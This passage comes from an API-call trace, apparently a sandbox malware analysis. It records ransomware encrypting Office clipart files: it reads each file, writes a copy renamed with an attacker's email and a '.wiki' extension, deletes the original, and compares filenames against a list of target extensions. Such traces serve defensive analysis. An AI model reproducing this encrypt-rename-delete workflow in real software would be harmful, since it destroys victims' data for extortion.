].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.963] GetLastError () returned 0x0 [0194.963] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3014, lpOverlapped=0x0) returned 1 [0195.056] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3020, lpOverlapped=0x0) returned 1 [0195.057] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.057] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.057] SetEndOfFile (hFile=0x1dc) returned 1 [0195.057] CloseHandle (hObject=0x1dc) returned 1 [0195.057] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.057] SetEndOfFile (hFile=0x200) returned 1 [0195.058] CloseHandle (hObject=0x200) returned 1 [0195.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0195.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.059] lstrlenW (lpString=".doc") returned 4 [0195.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.059] lstrlenW (lpString=".docx") returned 5 [0195.059] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.059] lstrlenW (lpString=".pdf") returned 4 [0195.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.059] lstrlenW (lpString=".xls") returned 4 [0195.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.059] lstrlenW (lpString=".xlsx") returned 5 [0195.059] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.059] lstrlenW (lpString=".ppt") returned 4 [0195.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.059] lstrlenW (lpString=".zip") returned 4 [0195.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.059] lstrlenW (lpString=".rar") returned 4 [0195.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.059] lstrlenW (lpString=".bz2") returned 4 [0195.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.059] lstrlenW (lpString=".7z") returned 3 [0195.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.059] lstrlenW (lpString=".dbf") returned 4 [0195.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.059] lstrlenW (lpString=".1cd") returned 4 [0195.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.059] lstrlenW (lpString=".jpg") returned 4 [0195.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.060] lstrlenW (lpString=".doc") returned 4 [0195.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.060] lstrlenW (lpString=".docx") returned 5 [0195.060] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.060] lstrlenW (lpString=".pdf") returned 4 [0195.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.060] lstrlenW (lpString=".xls") returned 4 [0195.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.060] lstrlenW (lpString=".xlsx") returned 5 [0195.060] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.060] lstrlenW (lpString=".ppt") returned 4 [0195.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.060] lstrlenW (lpString=".zip") returned 4 [0195.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.060] lstrlenW (lpString=".rar") returned 4 [0195.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.060] lstrlenW (lpString=".bz2") returned 4 [0195.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.060] lstrlenW (lpString=".7z") returned 3 [0195.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.060] lstrlenW (lpString=".dbf") returned 4 [0195.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.060] lstrlenW (lpString=".1cd") returned 4 [0195.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0195.060] lstrlenW (lpString=".jpg") returned 4 [0195.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.061] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.061] lstrlenW (lpString="J0107300.WMF") returned 12 [0195.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.061] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2460) returned 1 [0195.061] CloseHandle (hObject=0x200) returned 1 [0195.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 0x20 [0195.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.061] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.062] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0195.062] GetLastError () returned 0x0 [0195.062] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x99c, lpOverlapped=0x0) returned 1 [0195.085] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x9a0, lpOverlapped=0x0) returned 1 [0195.086] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.087] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.087] SetEndOfFile (hFile=0x1dc) returned 1 [0195.087] CloseHandle (hObject=0x1dc) returned 1 [0195.087] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.087] SetEndOfFile (hFile=0x200) returned 1 [0195.088] CloseHandle (hObject=0x200) returned 1 [0195.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0195.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.088] lstrlenW (lpString=".doc") returned 4 [0195.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.088] lstrlenW (lpString=".docx") returned 5 [0195.088] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.088] lstrlenW (lpString=".pdf") returned 4 [0195.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.088] lstrlenW (lpString=".xls") returned 4 [0195.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.088] lstrlenW (lpString=".xlsx") returned 5 [0195.089] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.089] lstrlenW (lpString=".ppt") returned 4 [0195.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.089] lstrlenW (lpString=".zip") returned 4 [0195.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.089] lstrlenW (lpString=".rar") returned 4 [0195.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.089] lstrlenW (lpString=".bz2") returned 4 [0195.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.089] lstrlenW (lpString=".7z") returned 3 [0195.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.089] lstrlenW (lpString=".dbf") returned 4 [0195.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.089] lstrlenW (lpString=".1cd") returned 4 [0195.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.089] lstrlenW (lpString=".jpg") returned 4 [0195.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.089] lstrlenW (lpString=".doc") returned 4 [0195.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.089] lstrlenW (lpString=".docx") returned 5 [0195.089] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.089] lstrlenW (lpString=".pdf") returned 4 [0195.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.089] lstrlenW (lpString=".xls") returned 4 [0195.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.090] lstrlenW (lpString=".xlsx") returned 5 [0195.090] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.090] lstrlenW (lpString=".ppt") returned 4 [0195.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.090] lstrlenW (lpString=".zip") returned 4 [0195.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.090] lstrlenW (lpString=".rar") returned 4 [0195.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.090] lstrlenW (lpString=".bz2") returned 4 [0195.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.090] lstrlenW (lpString=".7z") returned 3 [0195.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.090] lstrlenW (lpString=".dbf") returned 4 [0195.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.090] lstrlenW (lpString=".1cd") returned 4 [0195.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0195.090] lstrlenW (lpString=".jpg") returned 4 [0195.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.090] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.090] lstrlenW (lpString="J0107308.WMF") returned 12 [0195.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.091] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15888) returned 1 [0195.091] CloseHandle (hObject=0x200) returned 1 [0195.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 0x20 [0195.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.091] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.091] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0195.092] GetLastError () returned 0x0 [0195.092] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3e10, lpOverlapped=0x0) returned 1 [0195.109] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3e20, lpOverlapped=0x0) returned 1 [0195.110] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.110] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.110] SetEndOfFile (hFile=0x1dc) returned 1 [0195.110] CloseHandle (hObject=0x1dc) returned 1 [0195.110] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.110] SetEndOfFile (hFile=0x200) returned 1 [0195.111] CloseHandle (hObject=0x200) returned 1 [0195.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0195.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.111] lstrlenW (lpString=".doc") returned 4 [0195.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.112] lstrlenW (lpString=".docx") returned 5 [0195.112] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.112] lstrlenW (lpString=".pdf") returned 4 [0195.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.112] lstrlenW (lpString=".xls") returned 4 [0195.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.112] lstrlenW (lpString=".xlsx") returned 5 [0195.112] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.112] lstrlenW (lpString=".ppt") returned 4 [0195.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.112] lstrlenW (lpString=".zip") returned 4 [0195.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.112] lstrlenW (lpString=".rar") returned 4 [0195.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.112] lstrlenW (lpString=".bz2") returned 4 [0195.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.112] lstrlenW (lpString=".7z") returned 3 [0195.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.112] lstrlenW (lpString=".dbf") returned 4 [0195.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.112] lstrlenW (lpString=".1cd") returned 4 [0195.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.112] lstrlenW (lpString=".jpg") returned 4 [0195.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.113] lstrlenW (lpString=".doc") returned 4 [0195.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.113] lstrlenW (lpString=".docx") returned 5 [0195.113] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.113] lstrlenW (lpString=".pdf") returned 4 [0195.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.113] lstrlenW (lpString=".xls") returned 4 [0195.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.113] lstrlenW (lpString=".xlsx") returned 5 [0195.113] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.113] lstrlenW (lpString=".ppt") returned 4 [0195.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.113] lstrlenW (lpString=".zip") returned 4 [0195.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.113] lstrlenW (lpString=".rar") returned 4 [0195.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.113] lstrlenW (lpString=".bz2") returned 4 [0195.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.113] lstrlenW (lpString=".7z") returned 3 [0195.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.113] lstrlenW (lpString=".dbf") returned 4 [0195.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.113] lstrlenW (lpString=".1cd") returned 4 [0195.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0195.113] lstrlenW (lpString=".jpg") returned 4 [0195.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.114] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.114] lstrlenW (lpString="J0107328.WMF") returned 12 [0195.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.114] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6532) returned 1 [0195.114] CloseHandle (hObject=0x200) returned 1 [0195.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 0x20 [0195.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.115] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.115] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0195.115] GetLastError () returned 0x0 [0195.115] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1984, lpOverlapped=0x0) returned 1 [0195.172] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1990, lpOverlapped=0x0) returned 1 [0195.172] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 